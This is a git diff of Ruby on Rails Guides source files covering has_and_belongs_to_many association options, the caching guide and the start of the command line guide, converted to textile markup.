 By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
 
 TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User", 
-    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id",
+    :association_foreign_key => "other_user_id"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:class_name+
+h6. +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. +:class_name+
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :class_name => "Gadget"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:conditions+
+h6. +:conditions+
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
+  has_and_belongs_to_many :assemblies,
+    :conditions => "factory = 'Seattle'"
 end
--------------------------------------------------------
+</ruby>
 
 You can also set conditions via a hash:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
+  has_and_belongs_to_many :assemblies,
+    :conditions => { :factory => 'Seattle' }
 end
--------------------------------------------------------
+</ruby>
 
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the factory column has the value "Seattle".
+If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
 
-===== +:counter_sql+
+h6. +:counter_sql+
 
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. 
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
 
 NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
 
-===== +:delete_sql+
+h6. +:delete_sql+
 
 Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
 
-===== +:extend+
+h6. +:extend+
 
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
 
-===== +:finder_sql+
+h6. +:finder_sql+
 
 Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
 
-===== +:foreign_key+
+h6. +:foreign_key+
 
 By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User", 
-    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id",
+    :association_foreign_key => "other_user_id"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:group+
+h6. +:group+
 
 The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :group => "factory"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:include+
+h6. +:include+
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. 
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used.
 
-===== +:insert_sql+
+h6. +:insert_sql+
 
 Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
 
-===== +:join_table+
+h6. +:join_table+
 
 If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
 
-===== +:limit+
+h6. +:limit+
 
 The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
+  has_and_belongs_to_many :assemblies, :order => "created_at DESC",
+    :limit => 50
 end
--------------------------------------------------------
+</ruby>
 
-===== +:offset+
+h6. +:offset+
 
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records.
+The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
 
-===== +:order+
+h6. +:order+
 
 The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:readonly+
+h6. +:readonly+
 
 If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
 
-===== +:select+
+h6. +:select+
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
 
-===== +:uniq+
+h6. +:uniq+
 
 Specify the +:uniq => true+ option to remove duplicates from the collection.
 
-===== +:validate+
+h6. +:validate+
 
 If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. When are Objects Saved?
 
 When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
 
@@ -1735,9 +1678,9 @@ If any of these saves fails due to validation errors, then the assignment statem
 
 If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
 
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the +_collection_.build+ method.
+If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
 
-=== Association Callbacks
+h4. Association Callbacks
 
 Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
 
@@ -1750,8 +1693,7 @@ Association callbacks are similar to normal callbacks, but they are triggered by
 
 You define association callbacks by adding options to the association declaration. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders, :before_add => :check_credit_limit
 
@@ -1759,16 +1701,16 @@ class Customer < ActiveRecord::Base
     ...
   end
 end
--------------------------------------------------------
+</ruby>
 
 Rails passes the object being added or removed to the callback.
 
 You can stack callbacks on a single event by passing them as an array:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
-  has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
+  has_many :orders,
+    :before_add => [:check_credit_limit, :calculate_shipping_charges]
 
   def check_credit_limit(order)
     ...
@@ -1778,16 +1720,15 @@ class Customer < ActiveRecord::Base
     ...
   end
 end
--------------------------------------------------------
+</ruby>
 
 If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
 
-=== Association Extensions
+h4. Association Extensions
 
 You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders do
     def find_by_order_prefix(order_number)
@@ -1795,12 +1736,11 @@ class Customer < ActiveRecord::Base
     end
   end
 end
--------------------------------------------------------
+</ruby>
 
 If you have an extension that should be shared by many associations, you can use a named extension module. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 module FindRecentExtension
   def find_recent
     find(:all, :conditions => ["created_at > ?", 5.days.ago])
@@ -1814,16 +1754,16 @@ end
 class Supplier < ActiveRecord::Base
   has_many :deliveries, :extend => FindRecentExtension
 end
--------------------------------------------------------
+</ruby>
 
-To include more than one extension module in a single association, specify an array of names:
+To include more than one extension module in a single association, specify an array of modules:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
-  has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
+  has_many :orders,
+    :extend => [FindRecentExtension, FindActiveExtension]
 end
--------------------------------------------------------
+</ruby>
 
 Extensions can refer to the internals of the association proxy using these three accessors:
 
@@ -1831,10 +1771,11 @@ Extensions can refer to the internals of the association proxy using these three
 * +proxy_reflection+ returns the reflection object that describes the association.
 * +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11
 
-* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* September 22, 2008: Added diagrams, misc. cleanup by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* September 14, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy
+* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version.
+* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/vendor/rails/railties/guides/source/caching_with_rails.textile b/vendor/rails/railties/guides/source/caching_with_rails.textile
new file mode 100644
index 00000000..5c555382
--- /dev/null
+++ b/vendor/rails/railties/guides/source/caching_with_rails.textile
@@ -0,0 +1,524 @@
+h2. Caching with Rails: An overview
+
+Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.
+
+After reading this guide, you should be able to use and configure:
+
+* Page, action, and fragment caching
+* Sweepers
+* Alternative cache stores
+* Conditional GET support
+
+endprologue.
+
+h3. Basic Caching
+
+This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.
+
+To get started make sure +config.action_controller.perform_caching+ is set
+to +true+ for your environment. This flag is normally set in the
+corresponding config/environments/*.rb. By default, caching is disabled for development and test, and enabled for production.
+
+<ruby>
+config.action_controller.perform_caching = true
+</ruby>
+
+h4. Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver, without ever having to go through the
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with.
+
+So, how do you enable this super-fast cache behavior? Suppose you
+have a controller called +ProductsController+ and an +index+ action that lists all
+the products. You could enable caching for this action like this:
+
+<ruby>
+class ProductsController < ActionController
+
+  caches_page :index
+
+  def index; end
+
+end
+</ruby>
+
+The first time anyone requests products/index, Rails will generate a file
+called +index.html+. If a web server see this file, it will be served in response to the
+next request for products/index, without your Rails application being called.
+
+By default, the page cache directory is set to Rails.public_path (which is
+usually set to +File.join(self.root, "public")+ - that is, the public directory under your Rails application's root). This can be configured by
+changing the configuration setting +config.action_controller.page_cache_directory+.
+Changing the default from /public helps avoid naming conflicts, since you may
+want to put other static html in /public, but changing this will require web
+server reconfiguration to let the web server know where to serve the cached
+files from.
+
+The page caching mechanism will automatically add a +.html+ extension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages. This can be configured by changing the
+configuration setting +config.action_controller.page_cache_extension+.
+
+In order to expire this page when a new product is added you could extend the products controller like this:
+
+<ruby>
+class ProductsController < ActionController
+
+  caches_page :index
+
+  def index; end
+
+  def create
+    expire_page :action => :index
+  end
+
+end
+</ruby>
+
+If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.
+
+Note: Page caching ignores all parameters, so /products/list?page=1 will be written out to the filesystem as /products/list.html and if someone requests /products/list?page=2, they will be returned the same result as page=1. Be careful when page caching GET parameters in the URL!
+
+h4. Action Caching
+
+One of the issues with page caching is that you cannot use it for pages that
+require checking code to determine whether the user should be permitted access. This is where Action Caching comes in.
+action caching works like page caching except for the fact that the incoming
+web request does go from the web server to the Rails stack and Action Pack so
+that before filters can be run on it before the cache is served. This allows you to use
+authentication and other restrictions while still serving the
+result of the output from a cached copy.
+
+Clearing the cache works in the exact same way as with page caching.
+
+Let's say you only wanted authenticated users to edit or create a Product
+object, but still cache those pages:
+
+<ruby>
+class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :index
+  caches_action :edit
+
+  def index; end
+
+  def create
+    expire_page :action => :index
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+</ruby>
+
+You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the
+action should be cached. Also, you can use +:layout => false+ to cache without
+layout so that dynamic information in the layout such as the name of the logged-in user
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.
+
+You can modify the default action cache path by passing a +:cache_path+ option.
+This will be passed directly to +ActionCachePath.path_for+.  This is handy for
+actions with multiple possible routes that should be cached differently.  If
+a block is given, it is called with the current controller instance.  
+
+Finally, if you are using memcached, you can also pass +:expires_in+. In fact,
+all parameters not used by +caches_action+ are sent to the underlying cache
+store. 
+
+h4. Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website
+in real time and didn't want to cache that part  of the page, but did want
+to cache the part of the page which lists all products available, you
+could use this piece of code:
+
+<ruby>
+<% Order.find_recent.each do |o| %>
+  <%= o.buyer.name %> bought <% o.product.name %>
+<% end %>
+
+<% cache do %>
+  All available products:
+  <% Product.find(:all).each do |p| %>
+    <%= link_to p.name, product_url(p) %>
+  <% end %>
+<% end %>
+</ruby>
+
+The cache block in our example will bind to the action that called it and is
+written out to the same place as the action cache, which means that if you
+want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
+
+<ruby>
+<% cache(:action => 'recent', :action_suffix => 'all_prods') do %>
+  All available products:
+</ruby>
+
+You can expire the cache using the +expire_fragment+ method, like so:
+
+<ruby>
+expire_fragment(:controller => 'products', :action => 'recent', 
+  :action_suffix => 'all_prods)
+</ruby>
+
+If you don't want the cache block to bind to the action that called it, you can
+also use globally keyed fragments. To do this, call the +cache+ method with a key, like
+so:
+
+<ruby>
+<% cache(:key => 
+  ['all_available_products', @latest_product.created_at].join(':')) do %>
+  All available products:
+<% end %>
+</ruby>
+
+This fragment is then available to all actions in the +ProductsController+ using
+the key and can be expired the same way:
+
+<ruby>
+expire_fragment(:key => 
+  ['all_available_products', @latest_product.created_at].join(':'))
+</ruby>
+
+h4. Sweepers
+
+Cache sweeping is a mechanism which allows you to get around having a ton of
++expire_{page,action,fragment}+ calls in your code. It does this by moving all the work
+required to expire cached content into na +ActionController::Caching::Sweeper+
+class. This class is an Observer that looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object in
+an around or after filter.
+
+Continuing with our Product controller example, we could rewrite it with a
+sweeper like this:
+
+<ruby>
+class StoreSweeper < ActionController::Caching::Sweeper
+  # This sweeper is going to keep an eye on the Product model
+  observe Product
+
+  # If our sweeper detects that a Product was created call this
+  def after_create(product)
+          expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Product was updated call this
+  def after_update(product)
+          expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Product was deleted call this
+  def after_destroy(product)
+          expire_cache_for(product)
+  end
+
+  private
+  def expire_cache_for(record)
+    # Expire the list page now that we added a new product
+    expire_page(:controller => '#{record}', :action => 'list')
+
+    # Expire a fragment
+    expire_fragment(:controller => '#{record}', 
+      :action => 'recent', :action_suffix => 'all_products')
+  end
+end
+</ruby>
+
+The sweeper has to be added to the controller that will use it. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:
+
+<ruby>
+class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+  cache_sweeper :store_sweeper, :only => [ :create ]
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+</ruby>
+
+h4. SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each
+query. If Rails encounters the same query again during the current request, it
+will used the cached result set as opposed to running the query against the
+database.
+
+For example:
+
+<ruby>
+class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+  cache_sweeper :store_sweeper, :only => [ :create ]
+
+  def list
+    # Run a find query
+    Product.find(:all)
+
+    ...
+
+    # Run the same query again
+    Product.find(:all)
+  end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+</ruby>
+
+In the 'list' action above, the result set returned by the first
+Product.find(:all) will be cached and will be used to avoid querying the
+database again the second time that finder is called.
+
+Query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action.
+
+h4. Cache Stores
+
+Rails (as of 2.1) provides different stores for the cached data created by action and
+fragment caches. Page caches are always stored on disk.
+
+Rails 2.1 and above provide ActiveSupport::Cache::Store which can be used to
+cache strings. Some cache store implementations, like MemoryStore, are able to
+cache arbitrary Ruby objects, but don't count on every cache store to be able
+to do that.
+
+The default cache stores provided with Rails include:
+
+1) ActiveSupport::Cache::MemoryStore: A cache store implementation which stores
+everything into memory in the same process. If you're running multiple Ruby on
+Rails server processes (which is the case if you're using mongrel_cluster or
+Phusion Passenger), then this means that your Rails server process instances
+won't be able to share cache data with each other. If your application never
+performs manual cache item expiry (e.g. when you‘re using generational cache
+keys), then using +MemoryStore+ is ok. Otherwise, consider carefully whether you
+should be using this cache store.  
+
++MemoryStore+ is not only able to store strings, but also arbitrary Ruby objects.
+
++MemoryStore+ is not thread-safe. Use +SynchronizedMemoryStore+ instead if you
+need thread-safety.
+                                      
+
+<ruby>
+ActionController::Base.cache_store = :memory_store
+</ruby>
+
+2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk. This is
+the default store and the default path for this store is: /tmp/cache. Works
+well for all types of environments and allows all processes running from the
+same application directory to access the cached content. If /tmp/cache does not
+exist, the default store becomes MemoryStore.
+
+<ruby>
+ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
+</ruby>
+
+3) ActiveSupport::Cache::DRbStore: Cached data is stored in a separate shared
+DRb process that all servers communicate with. This works for all environments
+and only keeps one cache around for all processes, but requires that you run
+and manage a separate DRb process.
+
+<ruby>
+ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
+</ruby>
+
+4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+Rails uses the bundled memcached-client gem by default. This is currently the
+most popular cache store for production websites.
+
+Special features:
+
+* Clustering and load balancing. One can specify multiple memcached servers,
+   and MemCacheStore will load balance between all available servers. If a
+   server goes down, then MemCacheStore will ignore it until it goes back
+   online.
+* Time-based expiry support. See +write+ and the +:expires_in+ option.
+* Per-request in memory cache for all communication with the MemCache server(s).
+
+It also accepts a hash of additional options:
+
+* +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store.
+* +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write.
+* +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality.
+
+The read and write methods of the MemCacheStore accept an options hash too.
+When reading you can specify +:raw => true+ to prevent the object being
+marshaled
+(by default this is false which means the raw value in the cache is passed to
++Marshal.load+ before being returned to you.)
+
+When writing to the cache it is also possible to specify +:raw => true+. This means
+that the value is not passed to +Marshal.dump+ before being stored in the cache (by
+default this is false). 
+
+The write method also accepts an +:unless_exist+ flag which determines whether
+the memcached add (when true) or set (when false) method is used to store the
+item in the cache and an +:expires_in+ option that specifies the time-to-live
+for the cached item in seconds.
+
+
+<ruby>
+ActionController::Base.cache_store = :mem_cache_store, "localhost"
+</ruby>
+
+5) ActiveSupport::Cache::SynchronizedMemoryStore: Like ActiveSupport::Cache::MemoryStore but thread-safe.
+
+
+<ruby>
+ActionController::Base.cache_store = :synchronized_memory_store
+</ruby>
+
+6) ActiveSupport::Cache::CompressedMemCacheStore: Works just like the regular
+MemCacheStore but uses GZip to decompress/compress on read/write.
+
+
+<ruby>
+ActionController::Base.cache_store = :compressed_mem_cache_store, "localhost"
+</ruby>
+
+7) Custom store: You can define your own cache store (new in Rails 2.1)
+
+
+<ruby>
+ActionController::Base.cache_store = MyOwnStore.new("parameter")
+</ruby>
+
+NOTE: +config.cache_store+ can be used in place of
++ActionController::Base.cache_store+ in the +Rails::Initializer.run+ block in
+environment.rb.
+
+In addition to all of this, Rails also adds the +ActiveRecord::Base#cache_key+
+method that generates a key using the class name, id and updated_at timestamp
+(if available).
+
+An example:
+
+<ruby>
+Rails.cache.read("city")   # => nil
+Rails.cache.write("city", "Duckburgh")
+Rails.cache.read("city")   # => "Duckburgh"
+</ruby>
+
+h3. Conditional GET Support
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web
+servers to tell browsers that the response to a GET request hasn't changed
+since the last request and can be safely pulled from the browser cache.
+
+They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
+pass back and forth both a unique content identifier and the timestamp of when
+the content was last changed. If the browser makes a request where the content
+identifier (etag) or last modified since timestamp matches the server’s version
+then the server only needs to send back an empty response with a not modified
+status.
+
+It is the server's (i.e. our) responsibility to look for a last modified
+timestamp and the if-none-match header and determine whether or not to send
+back the full response. With conditional-get support in rails this is a pretty
+easy task:
+
+<ruby>
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified.  So that's it, you're done.
+end
+</ruby>
+
+If you don't have any special response processing and are using the default
+rendering mechanism (i.e. you're not using respond_to or calling render
+yourself) then you’ve got an easy helper in fresh_when:
+
+<ruby>
+class ProductsController < ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when :last_modified => @product.published_at.utc, :etag => @article
+  end
+end
+</ruby>
+
+h3. Advanced Caching
+
+Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info "here": http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
+interlock plugin (more info "here": http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.
+
+Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool. 
+
+h3. References
+
+* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
+* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
+* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
+* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching
+
+* February  22, 2009: Beefed up the section on cache_stores
+* December  27, 2008: Typo fixes
+* November  23, 2008: Incremental updates with various suggested changes and formatting cleanup
+* September 15, 2008: Initial version by Aditya Chadha
diff --git a/vendor/rails/railties/guides/source/command_line.textile b/vendor/rails/railties/guides/source/command_line.textile
new file mode 100644
index 00000000..d0424584
--- /dev/null
+++ b/vendor/rails/railties/guides/source/command_line.textile
@@ -0,0 +1,589 @@
+h2. A Guide to The Rails Command Line
+
+Rails comes with every command line tool you'll need to
+
+* Create a Rails application
+* Generate models, controllers, database migrations, and unit tests
+* Start a development server
+* Mess with objects through an interactive shell
+* Profile and benchmark your new creation
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
+
+endprologue.
+
+h3. Command Line Basics
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* console
+* server
+* rake
+* generate
+* rails
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+h4. +rails+
+
+The first thing we'll want to do is create a new Rails application by running the +rails+ command after installing Rails.
+
+WARNING: You know you need the rails gem installed by typing +gem install rails+ first, right? Okay, okay, just making sure.
+
+<shell>
+$ rails commandsapp
+
+     create
+     create  app/controllers
+     create  app/helpers
+     create  app/models
+     ...
+     ...
+     create  log/production.log
+     create  log/development.log
+     create  log/test.log
+</shell>
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing!
+
+h4. +server+
+
+Let's try it! The +server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser.
+
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section.
+
+Without any prodding of any kind, +server+ will run our new shiny Rails app:
+
+<shell>
+$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
+[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
+[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
+</shell>
+
+WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
+
+See? Cool! It doesn't do much yet, but we'll change that.
+
+h4. +generate+
+
+The +generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +generate+ by itself. Let's do that:
+
+<shell>
+$ ./script/generate
+Usage: ./script/generate generator [options] [args]
+
+...
+...
+
+Installed Generators
+  Built-in: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
+
+...
+...
+</shell>
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *NIX utilities, you can try adding +--help+ or +-h+ to the end, for example +./script/server --help+.
+
+<shell>
+$ ./script/generate controller
+Usage: ./script/generate controller ControllerName [options]
+
+...
+...
+
+Example:
+    ./script/generate controller CreditCard open debit credit close
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/functional/credit_card_controller_test.rb
+
+Modules Example:
+    ./script/generate controller 'admin/credit_card' suspend late_fee
+
+    Credit card admin controller with URLs /admin/credit_card/suspend.
+        Controller: app/controllers/admin/credit_card_controller.rb
+        Views:      app/views/admin/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/functional/admin/credit_card_controller_test.rb
+</shell>
+
+Ah, the controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
+
+<shell>
+$ ./script/generate controller Greetings hello
+     exists  app/controllers/
+     exists  app/helpers/
+     create  app/views/greetings
+     exists  test/functional/
+     create  app/controllers/greetings_controller.rb
+     create  test/functional/greetings_controller_test.rb
+     create  app/helpers/greetings_helper.rb
